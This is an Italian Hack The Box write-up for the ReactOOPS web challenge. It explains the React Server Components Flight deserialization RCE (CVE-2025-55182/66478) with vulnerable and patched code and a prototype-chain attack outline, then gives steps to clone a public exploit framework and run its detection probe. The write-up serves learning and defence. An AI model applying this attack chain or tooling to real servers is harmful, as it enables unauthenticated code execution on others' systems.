Writeup Hack The Box per la challenge ritirata ReactOOPS - Soluzione completa e guida didattica alle CVE-2025-55182/CVE-2025-66478 (React2Shell RCE). Include analisi dettagliata della vulnerabilità, tecniche di sfruttamento e materiali di apprendimento per il team.
Autore: TheStingR - Team ISP1337Hackers
Sfida: ReactOOPS (Web)
Piattaforma: Hack The Box
Difficoltà: Molto Facile - Ritirata
Data di Risoluzione: 13 dicembre 2025
ReactOOPS è una sfida web che sfrutta CVE-2025-55182 / CVE-2025-66478, una vulnerabilità critica di esecuzione remota di codice non autenticata in React Server Components e Next.js App Router.
Risultati Chiave:
hasOwnProperty mancante nella deserializzazione del protocollo FlightLa sfida presenta un'applicazione Next.js curata che esegue l'interfaccia dell'assistente di NexusAI. L'applicazione sembra gestire l'input dell'utente tramite React Server Components, ma piccoli glitch nel layer reattivo suggeriscono vulnerabilità sottostanti.
L'applicazione utilizza:
Il protocollo Flight è il formato di serializzazione proprietario di React per trasmettere dati tra server e client nelle architetture Server Component. Utilizza riferimenti come:
$1 - Riferimento all'oggetto nella posizione 1$1:path:to:value - Attraversamento del percorso di proprietàCodice Vulnerabile in ReactFlightReplyServer.js di React:
// Line ~450: getOutlinedModel function
function getOutlinedModel(response, id) {
let chunk = chunks.get(id);
const value = chunk.value;
// Process references like "$1:path:to:value"
if (reference.startsWith('$')) {
const refId = parseInt(reference.slice(1).split(':')[0]);
const path = reference.slice(1).split(':').slice(1);
let obj = chunks.get(refId).value;
// VULNERABLE LOOP - NO hasOwnProperty CHECK!
for (let i = 0; i < path.length; i++) {
obj = obj[path[i]]; // ← Allows prototype chain access
}
return obj;
}
}
La Versione Sicura (Come Dovrebbe Essere):
for (let i = 0; i < path.length; i++) {
if (Object.prototype.hasOwnProperty.call(obj, path[i])) {
obj = obj[path[i]];
} else {
throw new Error('Invalid property access');
}
}
Senza il controllo hasOwnProperty, un attaccante può attraversare:
myObject[__proto__][then] → Chunk.prototype.then
myObject[__proto__][constructor] → Function
myObject[__proto__][constructor][prototype] → function.prototype
Step 1: Send reference "$1:__proto__:then"
│
├─ Access myChunk[__proto__]
└─ Then access [then] on the prototype
Step 2: Create fake Promise-like object
│
└─ { then: maliciousFunction }
Step 3: React calls await on this object
│
├─ Invokes the .then() method
└─ Executes attacker's function
Step 4: Arbitrary Code Execution
│
└─ Code runs in server context as root
La vulnerabilità esiste prima della validazione Next-Action:
Request Processing Flow:
├─ Parse multipart form data
├─ Deserialize Flight protocol ← RCE HAPPENS HERE
│ └─ Process references and objects
│ └─ No hasOwnProperty check!
├─ Extract Next-Action header
├─ Validate action ID ← This comes AFTER
└─ Execute action handler
Attivando l'RCE durante la deserializzazione, gli attaccanti aggirano tutti i controlli di sicurezza a livello di azione.
# Test if service is responding
curl -v http://<IP>:PORT/
Previsto: un'applicazione Next.js che serve HTML con RSC abilitato
Cerca indicatori:
next-<script type="text/x-component">.nextL'indicatore più affidabile è tentare un attacco di prototype pollution e osservare la risposta:
# Non-destructive detection payload
# Sends: ["$1:a:a"] referencing {}
# Vulnerable: {}.a.a throws → HTTP 500 + E{"digest"
# Patched: hasOwnProperty prevents access → no crash
# Navigate to challenge directory
cd /Challenges/ReactOOPS
# Clone react2shell exploit framework
git clone https://github.com/freeqaz/react2shell.git
# Verify all scripts are executable
chmod +x react2shell/*.sh
Obiettivo: Confermare che il server sia vulnerabile senza causare danni
cd react2shell
# Run the detection probe
./detect.sh http://<IP>:PORT
Cosa Fa:
Next-Action: x["$1:a:a"] che referenzia l'oggetto vuoto {}{}.a.aOutput Previsto:
[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://<IP>:PORT
[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern
[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}
[!] This server is running a vulnerable version of React RSC / Next.js
Interpretazione:
E{"digest" nella risposta: ✅ Formato di gestione errori di React